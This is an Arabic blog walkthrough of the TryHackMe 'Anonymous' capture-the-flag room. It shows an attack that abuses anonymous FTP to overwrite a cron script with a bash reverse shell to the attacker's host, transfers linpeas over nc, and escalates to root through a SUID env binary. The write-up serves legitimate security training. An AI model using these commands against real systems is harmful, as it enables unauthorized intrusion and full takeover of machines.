Search 🔎🖥️

TryHackMe|Anonymous WriteUp\Walkthrough (Arabic)

بسم الله



رابط الغرفة:https://tryhackme.com/room/anonymous
------------------------------------------------------------------

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـ
machine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا 4 بورتات مفتوحة (هذي إجابة أول سؤال بالتحدي)، نرجع نسوي 
Aggressive سكان على نفس هذه الأربعة ونبدأ أيضا سكان آخر على جميع بورتات TCP
sudo nmap IP -A -p21,22,139,445 -vv  
من المعلومات المهمة اللي طلعت لنا بعد هذا الـ
scan هي إن الجهاز يحتوي على FTP سرفير يسمح بتسجيل الدخول كـAnonymous، بقية البورتات ما فيها أي شيء مثير للاهتمام.
(من نتائج هذا الـ
scan بنلقى إجابات السؤال الثاني والثالث اللي هي FTP للثاني و smb للثالث)


sudo nmap IP -p- -vv
هذا السكان نشغله ونخليه بالخلفية نرجع له بعد وقت ونشوف لو اكتشفنا أي بورت ثانية.
 
الحين بنركز على FTP كأول مكان سهل الوصول له وممكن نلقى فيه معلومات مفيدة.
أول شيء بنسجل دخول على 
FTP كـAnonymous الطريقة سهلة ، أول شيء نتصل باستخدام
ftp IP
لما يطلب اسم المستخدم ندخل 
anonymous ولما يطلب كلمة السر فقط نضغط Enter
لما ندخل نروح على مجلد سكريبتز 
cd scripts ثم ننزل كل الملفات اللي فيه باستخدام get [filename]

الحين صار عندي 3 ملفات على جهازي، أول شيء نستعرض السكريبت اللي اسمه clean.sh


هذا السكريبت ايش يسوي؟ يروح على tmp/ ويمسح الملفات اللي فيه إذا كان فيه ملفات ولما يحذف أي ملف يحط اسمه وجنبه الوقت اللي حذفه فيه، أما إذا كان مافي ملفات يكتب هذه الجملة
Running cleanup script: nothing to delete
وكل هذه النتائج يطبعها في السجل اللي موجود في المسار
/var/ftp/scripts/removed_files.log
وهو نفسه اللي موجود على الـFTP سيرفير وحملناه على جهازنا. لو نستعرض هذا السجل
بنلاقي تقريبا 28 سطر كلها طابع إنه مافي ملفات للحذف.
نجي الحين لثالث ملف وهو 
to_do.txt
هنا رسالة من المستخدم لنفسه، وهي فعلا صحيحة، الـ
Anonymous جدا خطير، وهو أصلا اللي استخدمناه للدخول على هذا الجهاز.
 تمام الحين لو نفكر شوي وبدون طول تفكير، بنعرف إن السكريبت 
clean.sh يشتغل كـcron، لأنه واضح يشتغل بشكل دوري على الجهاز. ويمدينا نتأكد بإننا نرجع ندخل على السيرفير ونحمل الملف مره ثانية وبنلاحظ زيادة الأسطر من 28 إلى 32

هذا معناته إنه رجع اشتغل 4 مرات من آخر مره حملنا الملف، إذن معناته إنه يشتغل في فترات قريبه يعني كل دقيقة.
الحين احنا تأكدنا إنه يشتغل ككرون، كيف نستفيد من هذا؟ مو احنا عندنا وصول لـ
FTP ونقدر نرفع ملفات؟ إذن ببساطة بنزيد سطر في السكريبت يرسل لنا  shellعلى جهازنا وبكذا يصير وصلنا للجهاز.
نفتح الملف باستخدام أي محرر ملفات مثل vim ونكتب هالسطر
bash -i >& /dev/tcp/LocalIP/LocalPort 0>&1
*ملاحظة: هذه الـ
shell أخذتها من موقع revshells وهو موقع سهل ومفيد جدا إذا تبغون تسوون shell

نخرج من 
vim ونحفظ الملف ثم نروح للـFTP سيرفير ونرفع الملف على مجلد scripts وهو تلقائيا بيستبدل القديم بالجديد.

الحين نجهز الـ
listener على جهازنا عشان يستقبل الـshell وتأكدوا إن البورت مطابقة للي حطيتوها بالـshell، نشغل المستمع، ثم نستنى دقيقة أو أقل وبنحصل على اتصال من الـvictim.

بما إن الـ
victim  جهاز نواته Linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
  • نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python
       python3 -c 'import pty; pty.spawn(“/bin/bash”)'        
  • بعدين هذه الكوماند
        export TERM=xterm    
  • ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
  •  الحين نجيبها لقدام باستخدام هذه الكوماند
stty raw -echo;fg        

الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell  ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.

 أول ما ندخل على النظام بنلقاه مدخلنا على المجلد للمستخدم 
namelessone لو نعرض الملفات بنلقى اليوزر فلاق (وهو إجابة السؤال الخامس)


الحين نبي نحصل على الـroot flag وهو أكيد موجود في الـhome directory للمستخدم root وما عندنا صلاحية نستعرضه فلازم نسوي privilege escalation
الحين بحمل linpeas.sh على جهاز الـvictim عشان يبحث لي عن أي نقطة أقدر من خلالها أرفع صلاحياتي لرووت. في طرق كثيرة نقدر نستخدمها، بأستخدم nc
نروح أول شيء للمجلد اللي في جهازنا اللي يحتوي على 
linpeas.sh ونشغل هذه
nc IP 1233 < linpeas.sh

وعلى الضحية نروح لـ
/tmp ونشغل هذه
nc -nvlp 1233 > linpeas.sh
ولما يوصل الملف نقفل الاتصال باستخدام 
ctrl+c

أنا هنا اخترت بورت 1233، إنتم أكيد يمديكم تغيرون باللي تبون.
نغير صلاحيات الملف ونخليه ملف تشغيلي 
chmod +x linpeas.sh وبعدين نشغله ونعطيه وقته ونشوف وش يطلع معانا نتائج

 بالنسبة للـ سكان اللي سويناه على جميع البورتات، رجعت له وطالع إنه خلص 5% فقط وباقي له 4 ساعات، فما فيه داعي نكمل، لأن أول شيء مطول وما طلع معانا أي نتيجة، وثاني شيء قد حصلنا على نقطة دخول للجهاز ومو محتاجين إلا إننا نرفع صلاحياتنا الآن.

 
طلع معانا مع 
linpeas.sh إن env  موجود فيه الـsetuid bit معناته إننا نقدر نشغله كمالكه، والمالك هنا هو root

طيب كيف أستفيد من هذه المعلومة وأحصل على root shell ببساطة نروح للموقع GTFObins ونبحث عن env


بما إن 
env هو ملف SUID إذن يعني ناخذ هذه الطريقة. الكوماند الأولى مافي داعي نشغلها، نروح للمجلد اللي يحتوي على env
cd /usr/bin
ثم نشغله بنفس الكوماند فوق

./env /bin/sh -p
وبكذا بنحصل على root shell نروح للـhomedirectory  وناخذ الرووت فلاق (إجابة السؤال الخامس)

باقي شيء أخير، في رابع سؤال بالتحدي طلب مني أعطيه اسم الشير اللي على الكمبيوتر. أقدر أطلعه باستخدام nmap  بهالكوماند
طلع معانا 3
IPC$ و Print$ هي Default عادة، فالإجابة هي pics
 
بكذا نكون انتهينا من حل التحدي، كل التوفيق لي ولكم.

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)